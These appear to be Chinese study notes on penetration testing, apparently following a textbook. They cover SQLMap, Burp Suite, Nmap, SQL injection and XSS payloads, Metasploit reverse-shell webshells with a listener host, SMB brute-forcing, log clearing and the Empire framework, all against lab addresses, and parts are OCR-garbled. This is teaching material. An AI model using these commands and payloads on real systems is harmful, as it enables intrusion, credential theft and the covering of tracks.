第二章

2.1 在Linux系统中安装LANMP

LANMP是Linux下Apache、Nginx、MySQL和PHP的应用环境,本节演示的是WDLinux的一款集成的安装包。

2.3 搭建DVWA漏洞环境

DVWA是一款开源的渗透测试漏洞练习平台,其中内涵XSS、SQL注入、文件上传、文件包含、CSRF和暴力破解等各个难度的测试环境。

2.4 搭建SQL注入平台

sqli-labs是一款学习SQL注入的开源平台,共有75种不同类型的注入,在本书的同步网站下载完压缩包后并解压,复制源码然后将其粘贴到网站的目录中,进入MySQL管理中的phpMyAdmin,打开http://127.0.0.1/phpMyAdmin/,在数据库中新建库名为“security”的数据库,并把源代码中的sqli-labs.sql文件导入数据库

2.5搭建XSS测试平台

XSS测试平台是测试XSS漏洞获取cookie并接收Web页面的平台,XSS可以做JS能做的所有事,包括但不限于窃取cookie、后台增删改文章、钓鱼、利用XSS漏洞进行传播、修改网页代码、网站重定向、获取用户信息(如浏览器信息、IP地址)等。这里使用的是基于xsser.me的源码。在本书的同步网站下载相关文件并解压,然后将其放置在用来搭建XSS平台的网站目录下。

第3章

3.1 SQLMap详解

SQLMap是一个自动化的SQL注入工具,其主要功能是扫描、发现并利用给定URL的SQL注入漏洞,内置了很多绕过插件,支持的数据库是MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase和SAP MaxDB。SQLMap采用了以下5种独特的SQL注入技术。

3.1.1  安装SQLMap

SQLMap的安装需要Python环境(不支持Python 3),本节使用的是Python 2.7.3,可在官网下载安装包并一键安装,安装完成后,复制Python的安装目录,添加到环境变量值中。

然后在SQLMap的官网(sqlmap: automatic SQL injection and database takeover tool)下载最新版本的SQLMap,下载到Python的安装目录下,并把SQLMap目录加到环境变量中。打开cmd,输入sqlmap.py命令后工具即可正常运行。

3.1.2  SQLMap入门

(1)判断是否存在注入

假设目标注入点是http://192.168.1.104/sql1/Less-1/?id=11,判断其是否存在注入的命令如下所示。

Sqlmap.py -u http://129.168.1.104/sql1/Less-1/?id=1

当注入点后面的参数大于等于两个小时,需要家双引号,如下所示。

Sqlmap.py -u “http://129.168.1.104/sql1/Less-1/?id=1&uid=2”

(2)判断文本中的请求是否存在注入

判断是否存在注入的命令如下所示。(-r一般在存在cookie注入时使用)

Sqlmap.py -r desktop/1.txt

(3) 查询当前用户的所有数据库

该命令是确定网站存在注入后,用于查询当前用户下的所有数据库。

Sqlmap.py -u http://129.168.1.104/sql1/Less-1/?id=1 –dbs

(4) 获取数据库中的表名

该命令的作用是查询完数据库后,查询指定数据库中所有的表名。

Sqlmap.py -u ”http://129.168.1.7/sql/union.php?id=1” -D dkeye –tables

(5) 获取表中的字段名

该命令的作用是查询完表名后,查询该表中所有的字段名。

Sqlmap.py -u ”http://129.168.1.7/sql/union.php?id=1” -D dkeye –T user_info --columns

(6) 获取字段内容

该命令是查询完字段名后,获取该字段中具体的数据信息。

Sqlmap.py -u ”http://129.168.1.7/sql/union.php?id=1” -D dkeye –T user_info -Cusername,password  --dump

(7) 获取数据库的所有用户

该命令的作用是列出数据库的所有用户。在当前用户有权限读取包含所有用户的表的权限时,使用该命令就可以列出使用管理用户。

Sqlmap.py -u ”http://129.168.1.7/sql/union.php?id=1”  --users

(8) 获取数据库用户的密码

该命令的作用是列出数据库用户的密码。如果当前用户有读取包含用户密码的权限,SQLMap会先列举出用户,然后列出Hash,并尝试破解。

Sqlmap.py -u ”http://129.168.1.7/sql/union.php?id=1”  --passwords

(9) 获取当前网站数据库的名称

使用该命令可以列出当前的数据库。

Sqlmap.py -u ”http://129.168.1.7/sql/union.php?id=1”  --current-db

(10) 获取当前网站数据库的用户名称

使用该命令可以列出当前网站使用的数据库用户。

Sqlmap.py -u ”http://129.168.1.7/sql/union.php?id=1”  --current-user

3.1.3 SQLMap进阶:参数讲解

(1)--level 5:探测等级

参数—level 5指需要执行的测试等级,一共有5个等级(1~5),可不加level,默认是1.

(2)--is-dba:当前用户是否为管理权限

该命令用于查看当前账户是否为数据库管理员账户。

Sqlmap.py -u ”http://129.168.1.7/sql/union.php?id=1”  --is-dba

3.2.1 Burp Suite的安装

Burp Suite是一款集成化的渗透测试工具,包含了很多功能,可以帮助我们高效地完成对Web应用程序的渗透测试和攻击。

专业版与免费版的主要区别有一下三点。

  1. Burp Scanner。
  2. 工作空间的保存和恢复。
  3. 拓展工具,如Target Analyzer、Content Discovery和Task Scheduler。

3.2.2 Burp Suite 入门

Burp Suite代理工具是以拦截代理的方式,拦截使用通过代理的网络流量,如客户端的请求数据、服务器端的返回信息等。Burp Suite主要拦藏HTTP和HTTPS协议的流量,通过拦截,BurpSuite以中间人的方式对客户端的请求数据、服务端的返回息做各种处理。以达到安全测试的目的。

在日常工作中,最常用的Web客户端就是Web浏览器,我们可以通过设置代理位息,拦截Web浏览器的流量,并对经过Burp Suire代理的流量数据进行处理。Burp Suite运行后,BurpProxy默认本地代理端口为8080,如图3-21所示。

这里以Firefox浏览器为例,单击浏览器右上角“打开菜单”,依次单击“选项”à“常规”à“网络代理”à“设置”à“手动配置代理”,如图3-22所示,设置HTTF代理为127.0.0.1,端口为8080,与Burp Proxy中的代理一致。

1.Proxy

Burp Proxy是利用Burp开展测试流程的核心,通过代理模式,可以让我们拦截、查看、修改所有在客户端与服务端之间传输的数据。

*Burp Proxy的拦截功能主要由Intercept选项卡中的Forward、Drop、Interception is on/off和Action构成,它们的功能如下所示。

*Forward表示将拦截的数据包或修改后的数据包发送至服务器端。 Drop表示丢弃当前拦截的数据包。

*Interception is on表示开启拦截功能,单击后变为Interception is off,表示关闭拦截功能。

*单击Action按钮,可以将数据包进一步发送到Spider、Scanner、Repeater、 Intruder等功能组件做进一步的测试,同时也包含改变数据包请求方式及其 body的编码等功能。

打开浏览器,输入需要访问的URL并按回车键,这时将看到数据流量经过Burp Proxy并暂停,直到单击Forward按钮,才会继续传输下去。如果单击了Drop按钮,这次通过的数据将丢失,不再继续处理。

当Burp Suite拦截的客户端和服务器交互之后,我们可以在Burp Suite的消息分析选项中查看这次请求的实体内容、消息头、请求参数等信息。Burp有四种消息类型显示数据包:Raw、Params、Headers和Hex。

*Raw主要显示Web请求的raw格式,以纯文本的形式显示数据包,包含请求

地址、HTTP协议版本、主机头、浏览器信息、Accept可接受的内容类型字符集、编码方式、cookie等,可以通过手动修改这些信息,对服务器端进行渗透测试

*Params主要显示客户端请求的参数信息,包括GET或者POST请求的参数、 cookie参数。可以通过修改这些请求参数完成对服务器端的渗透测试。

*Headers中显示的是数据包中的头信息,以名称、值的形式显示数据包。

*Hex对应的是Raw中信息的二进制内容,可以通过Hex编辑器对请求的内容进行修改,在进行00截断时非常好用。

3.2.3 Burp Suite进阶

3.2.3.1 Scanner

Burp Scanner主要用于自动检测Web系统的各种漏洞。本小节介绍Burp Scanner的基本使用方法,在实际使用中可能会有所改变,但大体环节如下。

首先、确认BurpSute正常启动并完成浏览器代理的配置,然后进入Burp Proxy.关闭代理拦截功能,快速浏览需要扫搞的域或URL模块,此时在默认情况下,Burp Scanner会扫描通过代理服务的请求,并对请求的消息进行分析来辨别是否存在系统漏润、而且当我们打开Burp Target时,也会在站点地图中显示请求的URL树。

1.主动扫描(Active Scanner)

当使用主动扫描模式时,Burp会向应用发送新的请求并通过Payload验证漏洞。这种模式下的操作会产生大量的请求和应答数据。直接影响服务端的性能,通常用于非生产环境。主动扫描适用于以下这两类漏洞。

*客户端的漏洞,如XSS、HTTP头注入、操作重定向。

*服务端的漏洞,如SQL注入、命令行注入、文件遍历。

2.被动扫描(Passive Scanning)

当使用被动扫描模式时,Burp不会重新发送新的请求,只是对已经存在的请求和应答进行分析,对服务端的检测来说,这比较安全,通常适用于生产环境的检潮。一般来说,下列渴洞在被动模式中容易被检测出来。

*提交的密码为未加密的明文。

*不安全的cookie的属性。例如缺少HnpOnly和安全标志。

*cookie的范围缺失

*跨域脚本包含和站点引用泄露表单值自动填充,尤其是密码。

*SSL保护的内容缓存。目录列表。

*提交密码后应答延迟。 session令牌的不安全传输。

*敏感信息泄露,例如内部IP地址、电子邮件地址、堆栈跟踪等信息泄露。

*不安全的ViewStatc的配置

*错误或不规范的Content-Type指令

虽然被动扫描模式相比主动模式有很多不足,但同时也具有主动模式不具备的优点。除了对服务端的检测比较安全,当某种业务场景的测试每次都会破坏业务场景的某方面功能时,可以使用被动扫描模式验证是否存在漏洞,以减少测试的风险。

3.2.3.2 Intruder

Intruder是一个定制的高度可配置的工具,可以对Web应用程序进行自动化攻击,如通过标识符枚举用户名、ID和账户号码,模糊测试,SQL注入,跨站,目录遍历等。

它的工作原理是Intruder在原始请求数据的基础上,通过修改各种请求参数获取不同的请求应答。在每一次请求中,Intruder通常会携带一个或多个有效攻击载荷(Payload),在不同的位置进行攻击重放,通过应答数据的比对分析获得需要的特征数据。Burp Intruder通常被应用于以下场景。

*标识符枚举。Wcb应用程序经常使用标识符引用用户、账户、资产等数据信息。例如,用户名、文件ID和账户号码。

*提取有用的数据。在某些场景下,不是简单地识别有效标识符,而是通过简单标识符提取其他数据。例如,通过用户的个人空间ID获取所有用户在其个人空间的名字和年龄。

*模糊测试。很多输入型的漏洞(如SQL注入、跨站点脚本和文件路径遍历)可以通过请求参数提交各种测试字符串,并分析错误消息和其他异常情况,来对应用程序进行检测。受限于应用程序的大小和复杂性,手动执行这个测试是一个耗时且烦琐的过程,因此可以设置Payload,通过Burp Intruder自动化地对Web应用程序进行模糊测试。

3.2.3.4 Comparer

BurpComparer在BurpSuite中主要提供一个可视化的差异比对功能,来对比分两次数据之间的区别,使用到的场合有:

*枚举用户名的过程中,对比分析登录成功和失败时,服务端反馈结果的别。

*使用Intruder进行攻击时,对于不同的服务端响应,可以很快分析出两次应的区别在哪里。

*进行SQL注入的盲注测试时,比较两次响应消息的差异,判断响应结果与注入条件的关联关系。

3.2.3.5 Sequencer

Burp Sequencer是一种用于分析数据样本随机性质量的工具。可以用它测试应用程序的会话令牌(Session token)、密码重置令牌是否可预测等场景,通过Sequencer的数据样本分析,能很好地降低这些关键数据被伪造的风险。

Burp Sequencer主要由信息截取(LiveCapture)、手动加载(Manual Load)和选项分析(Analysis Options)三个模块组成。

3.3 Nmap 详解

主机信息收集技术

主要收集目标主机的相关信息,主要包括端口、服务、漏洞等信息。信息收集手段多样,可借助工具也多种多样。

端口扫描:Nmap

Nmap  (网络映射器)是Gordon Lyon最初编写的一种安全扫描器,用于发现计算机网络上的主机和服务,从而创建网络的“映射”。为了实现其目标,Nmap将特定数据包发送到目标主机,然后分析响应.NMAP强大的网络工具,用于枚举和测试网络。

主机信息收集技术——Nmap

nmap 192.168.1.1

nmap   -A    –T4    -v     192.168.1.1

-A  开启操作系统识别和版本识别功能

nmap没法判断操作系统类型时,会把扫描的指纹特征显示出来,让使用者自己判断。

-T  0-5档,设置扫描的快慢,0最慢,5最快;

级别越高,发包量越大,对网络带宽要求越高,另外扫描太快,容易被安全设备发现;

一般选择T4

-v  显示信息的级别,-vv 显示更详细的信息

192.168.1.1  扫描单个目标

192.168.1.1  192.168.1.5  …    扫描多个目标

192.168.1.1/24  扫描C段   或者 192.168.1.1-254

nmap   -A    –T4    -v     -iL     ~/targets.txt

-iL  表示要扫描的目标(IP地址或主机名)位于一个文档中

nmap   -A    –T4    -v   192.168.1.1/24  --exclude  192.168.1.100

--exclude  192.168.1.100   表示排除在外的目标,减少目标 节省时间

nmap   -A    –T4    -v   192.168.1.1/24  --excludefile   ~/targets.txt

--excludefile ~/targets.txt   表示排除在外的目标包含在一个文档中

nmap   192.168.1.1   -p  80,443

状态

说明

open

应用程序在该端口接收 TCP 连接或者 UDP 报文

closed

关闭的端口对于nmap也是可访问的, 它接收nmap探测报文并作出响应。但没有应用程序在其上监听

filtered

由于包过滤阻止探测报文到达端口,nmap无法确定该端口是否开放。过滤可能来自专业的防火墙设备,

路由规则 或者主机上的软件防火墙

unfiltered

未被过滤状态意味着端口可访问,但是nmap无法确定它是开放还是关闭。 只有用于映射防火墙规则集的

ACK 扫描才会把端口分类到这个状态

open | filtered

无法确定端口是开放还是被过滤, 开放的端口不响应就是一个例子。没有响应也可能意味着报文过滤器丢

弃了探测报文或者它引发的任何反应。UDP,IP协议, FIN, Null 等扫描会引起。

第四章 Web安全原理剖析

4.1 SQL注入的介绍

4.1.1介绍SQL注入

SQL注入就是指Web应用程序对用户输入数据的合法性没有判断,前端传入后端的参数是攻击者可控的,并且参数带入数据库查询,攻击者可以通过构造不同的SOI语句来实现对数据库的任意操作。

开发人员可用动态SQL语句创建通用、灵活的应用。

4.1.2 SQL注入的原理

SQL注入漏洞的产生需要满足以下两个条件:

  1. 参数用户可控:前端传给后端的参数内容是用户可以控制的。
  2. 参数代入数据库查询:传入的参数拼接到SQL语句,且带入数据库查询。

当传入的ID参数为and 1=1时,执行代码如下:

Select * from users where id = 1 and 1=1

当ID参数存在SQL注入漏洞,攻击者可以进一步拼接SQL语句进行攻击,致使数据库信息泄露,甚至进一步获取服务器权限等。

在实际环境中,凡是满足上述两个条件的参数皆可能存在SQL注入漏洞,因此开发者需秉持“外部参数皆不可信的原则”进行开发。

4.1.3 与MySQL注入相关的知识点

1.MySQL查询语句

在不知道任何条件时,语句如下所示:

SELECT 要查询的字段名FROM库名.表名

在知道一条已知条件时:

SELECT要查询的字段名FROM 库名.表名WHERE已知条件的字段名=’已知条件的值’

在知道两条已知条件时:

SELECT 要查询的字段名FROM 库名.表名WHERE已知条件1的字段名=’已知条件1的值’AND 已知条件2的字段名=’已知条件2的值’

2.limit的用法

limit的使用格式为limit m,n,其中m是指记录开始的位置,从0开始,表示第一条记录;n是指取n条记录。例如limit0,1表示从第一条记录开始,取一条记录不使用limit和使用limit查询的结果如图1和图2所示,可以很明显地看出二者的区别。

图1

3.需要记住的几个函数

全 .database():当前网站使用的数据库。

防 .version():当前MySQL的版本。

user)):当前MySQL的用户。

4.注释符

在MySQL中,常见注释符的表达方式:#或--空格或/**/。

5.内联注释

内联注释的形式:/*!code*/内联注释可以用于整个SQL语句中,用来执行我们的SQL语句

4.1.4 Union注入攻击

Union注入攻击的测试地址:http://www.ccctfcn/unionphp?id=1.

再次访问时,在URL后添加一个单引号,页面返回的结果与id=1的结果不同。

4.1.5 Union注入代码分析

在Union注入页面中,程序获取GET参数ID,将ID拼接到SQL语句中,在数据库中查询参数ID对应的内容,然后将第一条查询结果中的username和address输出到页面,于是将数据输出到页面上的,所以可以利用Union语句查询其他数据。

Substr与limit的用法区别

Limit从0开始排序,而另一个是从1开始排序

44.2.1 时间注入攻击

时间注入攻击的测试地址:

http://127.0.0.1/sql/time/time.php?id-1.

访问该网址时,页面返回yes,在网址的后面加上一个单引号,再次访问,页面返回no。这个结果与Boolean注入非常相似,时间盲注,它与Boolean注入的不同之处在于,时间注入是利用sleep()或benchmark()等函数让MySQL的执行时间变长。时间盲注多与IF(expr1,expr2,expr3)结合使用,此if语句含义是:如果expr1是TRUE,则IFO的返回值为expr2:否则返回值则为expr3。

4.2.2 堆叠查询注入攻击

堆叠查询注入攻击的测试地址:http://127.0.0.1/dd.php?id=1.

堆叠查询可以执行多条语句,多语句之间以分号隔开。堆叠查询注入利用这个特点,在第二个SQL语句中构造自己要执行的语句。首先访问id-1‘,页面返回 MySQL错误,再访问id-1%23,页面返回正常结果。这里可以使用Boolean注入、时间注入,也可以使用另外一种注入方式--堆叠注入。

堆叠注入的语句为:

select if(substr(user(),1,1)='r',sleep(3),1)%23

4.2.3 二次注入攻击

二次注入攻击的测试地址:

http://127.0.0.1/er/1.php?username=test 和 http://127.0.0.1/er/2.php?id=10。

4.4.4存储型XSS攻击

存储型XSS页面实现的功能是:获取用户输入的留言信息、标题和内容,然后将标题和内容插入到数据库中,并将数据库的留言信息输出到页面上。

4.4.5 DOM型XSS攻击

DOM型XSS攻击页面实现的功能是在“输入”框中输入信息,单击“替换”按纽时、页面会将这里会显示输入的内容”替换为输入的信息、例如当输入“11”的时候,页面将“这里会显示输入的内容”替换为“11”。

当输入< img src=1 οnerrοr=alert(/xsss/)>时,单击“替换”按钮,页面弹出消息框。从HTML源码中可看到,存在JS函数tihuan(),该函数的作用是通过DOM操作将元素id1(输出位置)的内容修改为元素dom_input(输入位置)的内容。

4.5 XSS进阶

4.5.1 XSS常用语句及编码绕过

XSS常用的测试语句有:

<script>alert(1)</scripd

<ing src-x onerror-alert(1)><svg onload-alert(1)>

<a href-javascriptalert(1)>

常见的XSS的绕过编码有JS编码、HTML实体编码和URL编码

1.JS 编码

JS提供了四种字符编码的策略,如下所示:

  1. 三个八进制数字,如果个数不够,在前面补0,例如“e”的编码为“\145”。
  2. 两个十六进制数字,如果个数不够,在前面补0.例如”e”的编码为“x65”。
  3. 四个十六进制数字,如果个数不够。在前面补0.例如””e”的编码为u0065”。
  4. 对于一些控制字符,使用特殊的C类型的转义风格(例如n和r)。

2.HTML实体编码

实体命名:以&开头,以分号结尾。

字符编码:十进制、十六进制ASCLL码或Unicode字符编码,样式为“&#数值;”。

3.URL编码

这里的URL编码,也是两次URL全编码的结果。结果为%25%36%31%25%36%63%25%36%35%25%37%32%25%37%34.

在使用XSS编码测试时,需要考虑HTML渲染的顺序。

4.7 SSRF漏洞

4.7.1 介绍SSRF漏洞

SSRF(服务器端请求伪造)是一种由攻击者构造请求,由服务器端发起请求的安全漏洞。一般情况下,SSRF攻击的目标是外网无法访问的内部系统。

4.7.2 SSRF漏洞原理

SSRF的形成大多是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过过滤与限制。

主要攻击方式如下:

  1. 对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息。
  2. 攻击运行在内网或本地的应用程序。
  3. 对内网Web应用进行指纹识别,识别企业内部的资产信息。
  4. 攻击内外网的Web应用,主要是使用HTTP GET请求就可以实现的攻击。
  5. 利用file协议读取本地文件等。

第五章

使用Nmap扫描

Nmap不仅可以用来确定目标网络上计算机的存活状态,而且可以扫描计算机的操作系统、开放端口、服务等。熟练掌握可以极大提高个人的渗透测试技术。

实际使用时,在msf命令提示符下输入nmap,就可以显示Nmap提供的扫描选项列表,

现在我们要获取目标主机的操作系统,输入nmap-O-Pn/-p0 URI命令,其中 Pn和-p0(数字0)参数的意思是不使用ping的方式,而且假定所有主机系统都是活动的,可以穿透防火墙,也可以避免被防火墙发现,

  • 后渗透攻击:信息收集

成功地对目标机器攻击渗透后还可以做什么? Metasploitt提供了一个非常强大的后渗透工具-Meterpreter该工具具有多重功能,使后续的渗透入侵变得更容易获取目标机的 Meterpreter Shell后,就进入了 Metasplo最精彩的后期渗透利用阶段,后期渗透模块有200多个, Meterpreter有以下优势。

1.纯内存工作模式,不需要对磁盘进行任何写入操作。

2.使用加密通信协议,而且可以同时与几个信道通信。

3.在被攻击进程内工作,不需要创建新的进程。

4.易于在多进程之间迁移。

5.平台通用,适用于Windows、Linux、BSD系统,并支持Inter x86和Inter x64平台。

  • 文件系统命令

常见的文件系统命令及其作用如下所示。

  1. pwd或getwd:查看当前处与目标机的那个目录。
  2. getlwd:查看当前处于本地的那个目录。
  3. ls:列出当前目录中的所有文件。
  4. cd:切换目录。
  5. search-f*.txt -d c:\:可以搜索c盘中所有以“.txt”为扩展名的文件,其中-f参数用于指定搜索文件模式,-d参数用于指定在哪个目录下进行搜索。
  6. Download c:\text.txt/root:下载目标机c盘的text.txt文件到攻击机root下。

Pwdump:

  1. -dhl:导出本地哈希值。
  2. -dhdc:到处内存中的域控哈希值。
  3. -dhd:导出域控哈希值,必须指定NTDS文件。
  4. -db:导出Bitlocker信息,必须指定NTDS文件。
  5. -nt:导出NTDS文件。
  6. -hist:导出历史信息,可选项。
  7. -t:可选导出类型,默认导出John类型。
  8. -o:导出文件到本地。
  • Web后门

Web后门泛指WebShell,其实就是一段网页代码,包括ASP、ASPNET、PHP、 JSP代码等。由于这些代码都运行在服务器端,攻击者通过这段精心设计的代码,在服务器端进行一些危险的操作获得某些敏感的技术信息,或者通过渗透操作提权,从而获得服务器的控制权。这也是攻击者控制服务器的一个方法,比一般的入侵更具隐蔽性。

Web后门能给攻击者提供非常多的功能,例如执行命令、浏览文件、辅助提权、执行SQL语句、反弹Shell等。 在Kali下,用的比较多的就是Weevely,Weevely支持的功能很强大,使用http头进行指令传输,唯一的缺点就是只支持PHP。其实Metasploit框架中也自带了Web后门,配合Meterpreter使用时,功能更强大。

  • Meterpreter后门

在Metasploit中,有一个名为PHP Meterpreter的Payload,利用这个模块可创建具有Meterpreter功能的PHP WebShell。在攻击中使用Metasploit PHP Shell的步骤如下所示。

  1. 使用msfvenom创建一个webshell.php
  2. 上传webshell.php到目标服务器。
  3. 运行Metasploit multi-handler开始监听。
  4. 访问webshell.php页面。

5.获得反弹的Metasploit Shell。

我们可以通过Metasploit的msfvenom工具制作PHPMeterpreter。

然后将shuteer.php上传到目标服务器,因为是虚拟机,直接复制到Kali下的/var/www/html目录,打开WebShell网址。

接着启动Msfconsole,使用以下命令设置监听,如图5-94所示。

然后打开http://127.0.0.1/shuteer.php。

回到MSF下面,可以看到服务端已经反弹成功。

最后使用sysinfo和getuid等Meterpreter命令渗透目标主机。

二.Aspx Meterpreter后门

本节要介绍的是Metasploit下名为shell_reverse_tcp的Payload,利用这个模块可创建具有Meterpreter功能的各版本ShellCode,例如比较常见的Asp、Aspx、msi、vbs、 war等,下面以Aspx为例。

在攻击中使用Aspx Meterpreter后门的步骤和Metasploit PHP Shell的大概相同。首先使用下列代码调用该模块,并设置相关参数。如下所示。

show payloads

use windows/shell_reverse_tcp

info

set lhost 192.168.31.247

set lport 4444

save

接着输入generate -h命令查看帮助命令。

生成各版本ShellCode的命令如下所示。

generate -t asp //生成Asp 版的 ShellCode

generate -t aspx //生成Aspx版的 ShellCode

这里生成一个Aspx版的WebShell

我们把内容保存为aspx.aspx,再上传到目标服务器,这里因为是虚拟机所以直接复制到Windows 2012下的C:/inetpub/wwwroot目录。

接着启动Msfconsole,使用以下命令设置监听。

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set Lhost 192.168.31.247

set 1port 4444 run

然后打开http://192.168.31.250/aspx.aspx,

回到MSF下面,可以看到服务端已经反弹成功。

最后可以使用sysinfo和getuid等Meterpreter命令渗透目标主机。

  • 内网攻击域渗透测试实例
  • 介绍渗透环境

首先介绍此次渗透的环境:假设我们现在已经渗透了一台服务器PAVMSEF21,该服务器内网IP为10.51.0.21。扫描后发现内网网络结构大概如图5-102所示,其中PAVMSEF21是连接外网和内网的关键节点,内网的其他服务器均不能直接连接。

我们的渗透目标是通过一个普通的WebShell权限一步步地获得域管权限,从而掌握整个内网。

  • 提升权限

上传免杀的Payload到机器名为PAVMSEF21、IP为10.51.0.21的服务器上,然后在“中国菜刀”或者WebShell下运行。

获得Meterpreter Shell后要做的第一件事情就是提权。通常,在渗透过程中很有可能只获得了一个系统的Guest或User权限。低的权限级别将使我们受到很多的限制,以必须将访问权限从Guset提升到User,再到Administrator,最后到SYSTEM级别。

SMB爆破内网

有了域控的带码。接下来只要快速在内网扩大控制权限就好,其体操作如下所示

  1. 利用当前获取的域控账户密码,对整个域经1P段进行扫描。
  2. 使用SMB下的smb logn模块。
  3. 端口转发或者Socks作理进内网。

我们先在Metaskn东加路制,然后使特smb1ogin模块或者psexee scsnner模块进行爆彼。

可以看出,我们获取了大量内网服务器的密码,下面就可以畅游内网了。可以使用Meterpreter的端口转发,也可以使用Metasploit下的Socks4a模块或者第三方软件。

这里简单地使用Meterpreter的端口转发即可。

  • 清理日志

清理日志主要有以下几个步骤:

1.删除之前添加的域管理账号。

2.删除所有在渗透过程中使用过的工具。

3.删除应用程序、系统和安全日志。

4.关闭所有的Meterpreter连接。

第六章PowerShell

6.1  PowerShell技术

常用的PowerShell攻击工具有以下这几种。
PowerSploit:这是众多PowerShell攻击工具中被广泛使用的PowerShell后期漏洞利用框架,常用于信息探测、特权提升、凭证窃取、持久化等操作。
Nishang:基于PowerShell的渗透测试专用工具,集成了框架、脚本和各种
Payload,包含下载和执行、键盘记录、DNS、延时命令等脚本。
Empire:基于PowerShell的远程控制木马,可以从凭证数据库中导出和跟踪凭证信息,常用于提供前期漏洞利用的集成模块、信息探测、凭据窃取、持久化控制。
PowerCat:PowerShell版的NetCat,有着网络工具中的“瑞士军刀”美誉,它能通过TCP和UDP在网络中读写数据。通过与其他工具结合和重定向,读者可以在脚本中以多种方式使用它。
6.1.1   PowerShell简介
 PowerShell有以下这几个优点

  • Windows 7以上的操作系统默认安装。
  • PowerShell脚本可以运行在内存中,不需要写入磁盘。
  • 可以从另一个系统中下载PowerShell脚本并执行。
  • 目前很多工具都是基于PowerShell开发的。
  • 很多安全软件并不能检测到PowerShell的活动。
  • cmd.exe通常会被阻止运行,但是PowerShell不会。
  • 可以用来管理活动目录。

6.1.2  PowerShell的基本概念

1.PS1文件

一个PowerShell脚本其实就是一个简单的文本文件,这个文件包含了一系列PowerShell命令,每个命令显示为独立的一行,对于被视为PowerShell脚本的文本文件,它的文件名需要加上.PS1的扩展名。

2.执行策略

在PowerShell脚本无法执行时,可以使用下面的cmdlet命令确定当前的执行策略。

• Get-ExecutionPolicy。
Restricted:脚本不能运行(默认设置)。
•RemoteSigned:本地创建的脚本可以运行,但从网上下载的脚本不能运行(拥有数字证书签名的除外)。
• AllSigned:仅当脚本由受信任的发布者签名时才能运行。
• Unrestricted:允许所有的script运行。
读者还可以使用下面的cmdlet命令设置PowerShell的执行策略~
Set-ExecutionPolicy <policy name>

3.运行脚本

运行一个Powershell脚本,必须键入完整的路径和文件名。

4.管道

管道的作用是将一个命令的输入作为另一个命令的输入,两个命令之间用管道符号(|)连接。

6.1.3  PowerShell的常用命令

1.基本知识

下面以文件操作为例讲解Powershell命令的基本用法。

  • 新建目录:New-ltem whitecellclub-ItemType Directory。
  • 新建文件:New-Item light.txt-ItemType File。
  • 删除目录:Remove-Item whitecellclub。
  • 显示文本内容:Get-Content test.txt.
  • 设置文本内容:Set-Content test.txt-Value"hell, word!"。
  • 追加内容:Add-Content light.txt-Value"i love you"。
  • 清除内容:Clear-Content test.txt。

2.常用命令

还可以通过Windows终端提示符输入PowerShell,进入PowerShell命令行,输入help命令显示帮助

6.2.2 PowerSploit脚本攻击实战

Invoke-Shellcode脚本
CodeExecution模块下的Invoke-Sellcode脚本常用于将ShellCode插入本地Powershell中或者指定的进程ID。

直接执行ShellCode反弹Meterpreter Shell

6.3Empire

6.3.1Empire简介

Empire是一款针对Windows平台的、使用Powershell脚本作为攻击载荷的渗透攻击框架工具,具有从stager生成、提权到渗透维持的一系列功能。Empire实现了无需powshell.exe就可运行Powershell代理的功能,还可以快速在后期部署漏洞利用模块,其内置模块有键盘记录、Mimikatz、绕过UAC、内网扫描等,使用能够躲避内网检测和大部分安全防护工具的查杀,简单来说就有点类似Metasploit,是一个基于PowerShell的远程控制木马。

Empire的全部功能可以参考其官方网站:

http://www.powershellempire.com/

Empire安装

Empire运行在linux平台上

官方下载地址,不过很久没有更新,需要Python 2.6/2.7环境

https://github.com/EmpireProject/Empire

其他分支目前还有人在更新维护,需要Python 3.x环境

https://github.com/BC-SECURITY/Empire

可以选择其中一个安装使用,这里我们还是以官方这个来安装使用

这里使用的系统是Kali,首先通过git命令下载程序目录。

git clone https://github.com/EmpireProject/Empire.git

然后安装Empire的依赖,命令如下

cd Empire

cd setup

pip install -r requirements.txt(若没有安装pip库,则需要先通过apt-get install pip进行安装)

./install.sh

在安装完依赖以后,返回上一级文件,启动Empire工具,命令如下:

cd ..

./empire

​ 若启动失败,则可能是因为依赖未完全安装好,只需要手动通过pip install xxx安装未安装好的依赖即可。

启动时如果遇到如下报错

可以将urllib3版本降级

pip install urllib3==1.22

6.3.6信息收集

​Empire主要用于后渗透。所以信息收集是比较常用的一个模块,可以使用searchmodule命令搜索需要使用的模块,这里通过键如usemodule collection然后按Tab查看完整的列表

下面演示几个常用模块

6.3.7权限提升

提权,顾名思义就是提高自己在服务器中的权限,就比如在Windows中,你本身登陆的用户是Guest,通过提权后,就会变成超级管理员,拥有了管理Windows的所有权限。以下是常见几种提权方式:

1.Bypass UAC

UAC介绍

UAC(UserAccount Control,用户账户控制)简言之就是在Vista及更高版本中通过弹框进一步让用户确认是否授权当前可执行文件来达到阻止恶意程序的目的。

为了远程执行目标的exe或者bat可执行文件绕过此安全机制,以此叫BypassUAC(不进行弹窗直接运行执行文件)

输入以下命令,设置Listener参数,运行execute,会发现成功上线了一个新的反弹

返回agents,通过list可以看到有一个新的会话,并且带有*,说明提权成功。

2.PowerUp

 Empire内置了PowerUp的部分工具,用于系统提权,主要有Windows错误系统配置漏洞、Windows Services漏洞、AlwaysInstallElevated漏洞等8种提权方式,输入以下命令,然后通过tab键查看完整列表

查找系统中的漏洞,和PowerSploit下PowerUp中的Invoke-AllChecks模块一样,该模块可以执行所有脚本检查系统漏洞

可以看到,我们可以通过BypassUAC进行提权,前面已经见过,这里不再重复。

3.通过溢出漏洞

本地溢出提权首先要有服务器的一个普通用户权限,攻击者通常会向服务器上传本地溢出程序,在服务器端执行,如果系统存在漏洞,那么将溢出Administrator权限。

这里我们使用ms16-032来提权,输入以下命令即可通过溢出漏洞进行提权

6.3.8横向渗透

横向渗透,就是在已经攻占部分内网主机的前提下,利用既有的资源尝试获取更多的凭据、更高的权限,进而达到控制整个内网、拥有最高权限、发动类似 APT 的目的。

在横向渗透中,最先得到的主机,以及之后新得到的主机,会成为突破口、跳板。如同一个不断扩大的圆形,获得的主机越多,圆能触及之处越大,让其周遭的「横向」部分由未知成为已知。

1.令牌窃取

我们在获取到服务器权限后,可以使用内置mimikatz获取系统密码,执行完毕后输入creds

6.3.10Empire反弹回Metasploit

